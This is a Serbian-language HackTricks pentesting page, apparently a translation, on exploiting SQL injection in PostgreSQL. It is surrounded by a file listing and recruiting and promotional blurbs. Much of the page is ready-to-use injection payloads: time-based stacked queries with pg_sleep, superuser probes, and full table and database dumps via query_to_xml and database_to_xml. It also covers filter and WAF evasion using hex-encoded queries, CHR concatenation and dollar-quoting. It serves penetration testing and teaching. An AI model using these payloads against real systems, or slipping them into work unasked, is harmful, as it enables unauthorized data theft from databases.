hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-04-17 05:40:05 +00:00
..
big-binary-files-upload-postgresql.md Translated to Serbian 2024-02-10 13:11:20 +00:00
dblink-lo_import-data-exfiltration.md Translated to Serbian 2024-02-10 13:11:20 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated to Serbian 2024-02-10 13:11:20 +00:00
pl-pgsql-password-bruteforce.md Translated to Serbian 2024-02-10 13:11:20 +00:00
rce-with-postgresql-extensions.md Translated to Serbian 2024-02-10 13:11:20 +00:00
rce-with-postgresql-languages.md GitBook: No commit message 2024-04-06 19:39:21 +00:00
README.md Translated ['binary-exploitation/basic-binary-exploitation-methodology/t 2024-04-17 05:40:05 +00:00

PostgreSQL ubacivanje

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako vas zanima hakerska karijera i hakovanje neuhvatljivog - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, pisano i govorno).

{% embed url="https://www.stmcyber.com/careers" %}


Ova stranica ima za cilj da objasni različite trikove koji bi vam mogli pomoći da iskoristite SQL ubacivanje pronađeno u postgresql bazi podataka i da dopunite trikove koje možete pronaći na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Mrežna interakcija - Eskalacija privilegija, skener porta, otkrivanje NTLM izazova i eksfiltracija

PostgreSQL modul dblink nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP veza. Ove funkcionalnosti, zajedno sa funkcionalnošću COPY FROM, omogućavaju akcije poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode izvođenja ovih napada proverite kako izvršiti ove napade.

Možete pročitati ovaj primer da vidite CTF primer kako učitati podatke unutar velikih objekata i zatim eksfiltrirati sadržaj velikih objekata unutar korisničkog imena funkcije dblink_connect.

PostgreSQL Napadi: Čitanje/pisanje, RCE, eskalacija privilegija

Proverite kako da kompromitujete host i eskalirate privilegije iz PostgreSQL-a u:

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

Bypass WAF

PostgreSQL String funkcije

Manipulisanje stringova može vam pomoći da zaobiđete WAF-ove ili druge restrikcije.
Na ovoj stranici možete pronaći neke korisne funkcije za stringove.

Stacked Queries

Zapamtite da postgresql podržava stacked queries, ali neke aplikacije će prijaviti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ipak, možete zloupotrebiti stacked queries putem Time ubacivanja:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML trikovi

query_to_xml

Ova funkcija će vratiti sve podatke u XML formatu u samo jednom fajlu. Idealna je ako želite da izbacite veliku količinu podataka u samo jednom redu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ova funkcija će izbaciti celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS napad ili čak preopteretiti vašeg klijenta):

SELECT database_to_xml(true,true,'');

Stringovi u heksadecimalnom formatu

Ako možete da izvršavate upite prosleđujući ih unutar stringa (na primer koristeći funkciju query_to_xml), možete koristiti convert_from da prosledite string kao heksadecimalni broj i zaobići filtere na ovaj način:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

Zabranjeni navodnici

Ako ne možete koristiti navodnike za svoj payload, možete zaobići to pomoću CHR za osnovne klauze (konkatenacija karaktera radi samo za osnovne upite poput SELECT, INSERT, DELETE, itd. Ne radi za sve SQL naredbe):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Ili sa $. Ovi upiti vraćaju iste rezultate:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Ako ste zainteresovani za hakersku karijeru i hakovanje onoga što se ne može hakovati - zapošljavamo! (potrebno je tečno poznavanje poljskog jezika, kako pisano tako i govorno).

{% embed url="https://www.stmcyber.com/careers" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: